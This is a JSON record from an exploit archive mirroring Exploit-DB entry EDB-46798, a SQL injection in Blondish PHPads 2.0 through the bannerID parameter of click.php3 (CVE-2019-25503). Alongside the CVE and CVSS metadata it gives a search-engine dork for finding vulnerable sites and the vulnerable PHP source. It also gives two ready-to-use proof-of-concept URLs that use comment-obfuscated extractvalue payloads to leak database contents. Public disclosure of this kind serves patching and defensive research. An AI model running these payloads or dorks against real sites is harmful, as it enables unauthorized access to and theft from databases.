{"exploit":{"id":"EDB-46798","name":"Blondish PHPads 2.0 - 'click.php3?bannerID' SQL Injection (SQLi)","description":"Blondish PHPads 2.0 - 'click.php3?bannerID' SQL Injection (SQLi)","cves":["CVE-2019-25503"],"author":"felipe andrian","published":"2019-05-06","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/46798","path":"exploits/php/webapps/46798.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-46798.txt","vulnerabilities":[{"id":"CVE-2019-25503","state":"PUBLISHED","title":"PHPads 2.0 SQL Injection via click.php3 bannerID","titleSource":"CVE Program","description":"PHPads 2.0 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the bannerID parameter in click.php3. Attackers can submit crafted bannerID values using SQL comment syntax and functions like extractvalue to extract sensitive database information such as the current database name.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-25503","cvss":{"version":"4.0","baseScore":7.1,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-25503"},"updatedAt":"2026-07-15T01:23:57.390Z","retrievedAt":"2026-11-26T09:42:03.632Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-46798.png?v=2","url":"https://exploitbin.com/exploits/EDB-46798","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-46798/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-46798/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores\n\n[+] Date: 05/05/2019\n\n[+] Risk: High\n\n[+] CWE Number : CWE-89\n\n[+] Author: Felipe Andrian Peixoto\n\n[+] Vendor Homepage: https://blondish.net/\n\n[+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt\n\n[+] Contact: felipe_andrian@hotmail.com\n\n[+] Tested on: Windows 7 and Gnu/Linux\n\n[+] Dork: inurl:\"click.php3?bannerID=\"\" // use your brain ;)\n\n[+] Exploit :\n\n        http://host/patch//click.php3?bannerID= [SQL Injection]\n\n[+] Vulnerable File :\n\n\t    <?php\n\t\t$bannerAdsPath = './ads.dat';\n\t\trequire './ads.inc.php';\n\t\t///////////////////////////////////////\n\t\t// Don't Edit Anything Below This Line!\n\t\t///////////////////////////////////////\n\t\tfor ($i = 0; $i < count($ads); $i++) {\n\t\t\tif(ereg('^' .$_GET['id']. '\\|\\|', $ads[$i])) {\n\t\t\t\t$data = explode('||', $ads[$i]);\n\t\t\tif ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) {\n\t\t\t\t\t$data[ PHPADS_ADELEMENT_CLICKTHRUS ]++;\n\t\t\t}\n\t\t\t\t$ads[$i] = join('||', $data);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (!$data[PHPADS_ADELEMENT_LINK_URI]) {\n\t\t\tdie();\n\t\t}\n\t\twriteads();\n\t\tHeader(\"Location: \". $data[PHPADS_ADELEMENT_LINK_URI]);\n\t\texit;\n\t\t?>\n\n[+] PoC :\n\n   http://server/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-\n   http:/server/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-\n\n[+] EOF","sha256":"250a8a0d8217a8fdc7b9ada4c140991b88bac8bddf2342bfeff27e5f1938a21d","bytes":1556,"fetchedAt":"2026-11-27T08:12:11.521Z","encoding":"utf-8 (display only; download retains original bytes)"}